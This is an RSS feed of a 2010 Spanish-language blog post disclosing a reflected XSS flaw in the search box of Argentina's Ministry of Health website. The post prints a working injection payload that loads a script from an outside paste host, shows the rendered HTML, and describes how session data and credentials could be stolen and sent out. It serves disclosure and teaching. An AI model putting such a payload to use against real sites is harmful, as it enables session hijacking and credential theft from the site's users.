<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	xmlns:creativeCommons="http://backend.userland.com/creativeCommonsRssModule">

<channel>
	<title>Mahadeva &#187; ministerio de salud</title>
	<atom:link href="http://www.patriciomolina.com/tag/ministerio-de-salud/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.patriciomolina.com</link>
	<description>Blog de Patricio Molina</description>
	<lastBuildDate>Mon, 06 Feb 2012 06:29:40 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
<creativeCommons:license>http://creativecommons.org/licenses/by-sa/2.5/ar/</creativeCommons:license>		<item>
		<title>XSS en el sitio del Ministerio de Salud</title>
		<link>http://www.patriciomolina.com/2010/02/xss-en-el-sitio-del-ministerio-de-salud/</link>
		<comments>http://www.patriciomolina.com/2010/02/xss-en-el-sitio-del-ministerio-de-salud/#comments</comments>
		<pubDate>Thu, 18 Feb 2010 17:27:59 +0000</pubDate>
		<dc:creator>Pato</dc:creator>
				<category><![CDATA[Programación]]></category>
		<category><![CDATA[javascript]]></category>
		<category><![CDATA[ministerio de salud]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://www.patriciomolina.com/?p=323</guid>
		<description><![CDATA[Hace un par de días descubrí una vulnerabilidad XSS bastante común en el sitio web del Ministerio de Salud de la Nación. Me sorprende que una vulnerabilidad tan evidente esté presente en uno de los sitios más importantes de nuestra administración &#8230; <a href="http://www.patriciomolina.com/2010/02/xss-en-el-sitio-del-ministerio-de-salud/">Sigue leyendo <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Hace un par de días descubrí una vulnerabilidad <a href="http://es.wikipedia.org/wiki/Cross-site_scripting">XSS</a> bastante común en el sitio web del <a href="http://www.msal.gov.ar/">Ministerio de Salud de la Nación</a>.</p>
<p>Me sorprende que una vulnerabilidad tan evidente esté presente en uno de los sitios más importantes de nuestra administración pública. Como se podrán imaginar, los sitios gubernamentales son objetivos de alto riesgo en el campo de la seguridad informática, por lo que debería someterse a los más estrictos controles durante su desarrollo y su posterior mantenimiento.</p>
<p>Después de todo, &#8220;<em>cross-site scripting</em> (XSS) es una de las vulnerabilidades más predominantes, obstinadas y peligrosas en las aplicaciones web&#8221;<sup>1</sup>.</p>
<p><strong>¿En qué consiste la vulnerabilidad?</strong></p>
<p>Un usuario realiza una búsqueda en el sitio y la búsqueda original se le vuelve a presentar en un campo de texto junto a los resultados. Por ejemplo:</p>
<p><a href="http://www.patriciomolina.com/wp-content/uploads/2010/02/xss1.png"><img class="aligncenter size-full wp-image-366" title="xss1" src="http://www.patriciomolina.com/wp-content/uploads/2010/02/xss1.png" alt="Búsqueda en el Ministerio de Salud de la Nación" width="406" height="113" /></a></p>
<p>El código del campo de texto es el siguiente:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
</pre></td><td class="code"><pre class="html4strict" style="font-family:monospace;"><span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">input</span> <span style="color: #000066;">name</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;txtBusqueda2&quot;</span> <span style="color: #000066;">size</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;40&quot;</span> <span style="color: #000066;">type</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;text&quot;</span> <span style="color: #000066;">value</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;hospitales del chaco&quot;</span> <span style="color: #66cc66;">/</span>&gt;</span></pre></td></tr></table></div>

<p>El problema se encuentra en la impresión de esa búsqueda original: los caracteres &lt; y &gt; (apertura y cierre de etiquetas HTML) <strong>no son convertidos a sus respectivas <a href="http://www.w3schools.com/tags/ref_entities.asp">entidades</a></strong>.</p>
<p>Parece un detalle menor, pero es un enorme agujero de seguridad que permite ejecutar código  arbitrario y comprometer seriamente la información de sus usuarios. Por ejemplo, si uno busca:</p>
<p style="text-align: center;"><tt>" /&gt;&lt;script type="text/javascript" src="<a href="http://fpaste.org/GVwV/raw/">http://fpaste.org/GVwV/raw/</a>"&gt;&lt;/script&gt;&lt;input type="hidden" value="</tt></p>
<p>Se obtiene:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
</pre></td><td class="code"><pre class="html4strict" style="font-family:monospace;"><span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">input</span> <span style="color: #000066;">name</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;txtBusqueda2&quot;</span> <span style="color: #000066;">size</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;40&quot;</span> <span style="color: #000066;">type</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;text&quot;</span> <span style="color: #000066;">value</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot; &quot;</span> <span style="color: #66cc66;">/</span>&gt;&lt;<span style="color: #000000; font-weight: bold;">script</span> <span style="color: #000066;">type</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;text/javascript&quot;</span> <span style="color: #000066;">src</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;http://fpaste.org/GVwV/raw/&quot;</span>&gt;&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">script</span>&gt;&lt;<span style="color: #000000; font-weight: bold;">input</span> <span style="color: #000066;">type</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;hidden&quot;</span> <span style="color: #000066;">value</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot; &quot;</span> <span style="color: #66cc66;">/</span>&gt;</span></pre></td></tr></table></div>

<p>Y, por consiguiente (clic para agrandar):</p>
<p style="text-align: center;"><a href="http://www.patriciomolina.com/wp-content/uploads/2010/02/xss2.png"><img class="aligncenter size-full wp-image-368" title="xss2" src="http://www.patriciomolina.com/wp-content/uploads/2010/02/xss2.png" alt="XSS en el Ministerio de Salud de la Nación" width="500" height="302" /></a></p>
<p><strong>¿Qué consecuencias puede ocasionar esta vulnerabilidad?</strong></p>
<ul>
<li>Se puede esconder una URL maliciosa con un <a href="http://en.wikipedia.org/wiki/URL_shortening">acortador de URL</a> que redirija a la víctima hacia el sitio vulnerable junto con un <tt>POST</tt> de búsqueda que permita ejecutar código arbitrario.</li>
<li>Se podría obtener datos de sesión, credenciales de correo electrónico, acceso a paneles de administración, etcétera.</li>
<li>Si se añaden las librerías adecuadas (como jQuery), es posible enviar estos datos a nuestros servidores de forma transparente, sin que el usuario se percate del ataque, y almacenarlos para su uso posterior.</li>
</ul>
<p>La vulnerabilidad fue reportada oportunamente, pero no obtuve respuesta (como suele suceder en el 95% de los casos). Espero que lo solucionen antes de que sea demasiado tarde.</p>
<p><small>1 &#8211; Fragmento de &#8220;<em><a href="http://cwe.mitre.org/top25/#CWE-79">Failure to Preserve Web Page Structure (&#8216;Cross-site Scripting&#8217;)</a></em>&#8220;, publicado en <em><a href="http://cwe.mitre.org/top25/">2010 CWE/SANS Top 25 Most Dangerous Programming Errors</a></em>.</small></p>
]]></content:encoded>
			<wfw:commentRss>http://www.patriciomolina.com/2010/02/xss-en-el-sitio-del-ministerio-de-salud/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
	</channel>
</rss>

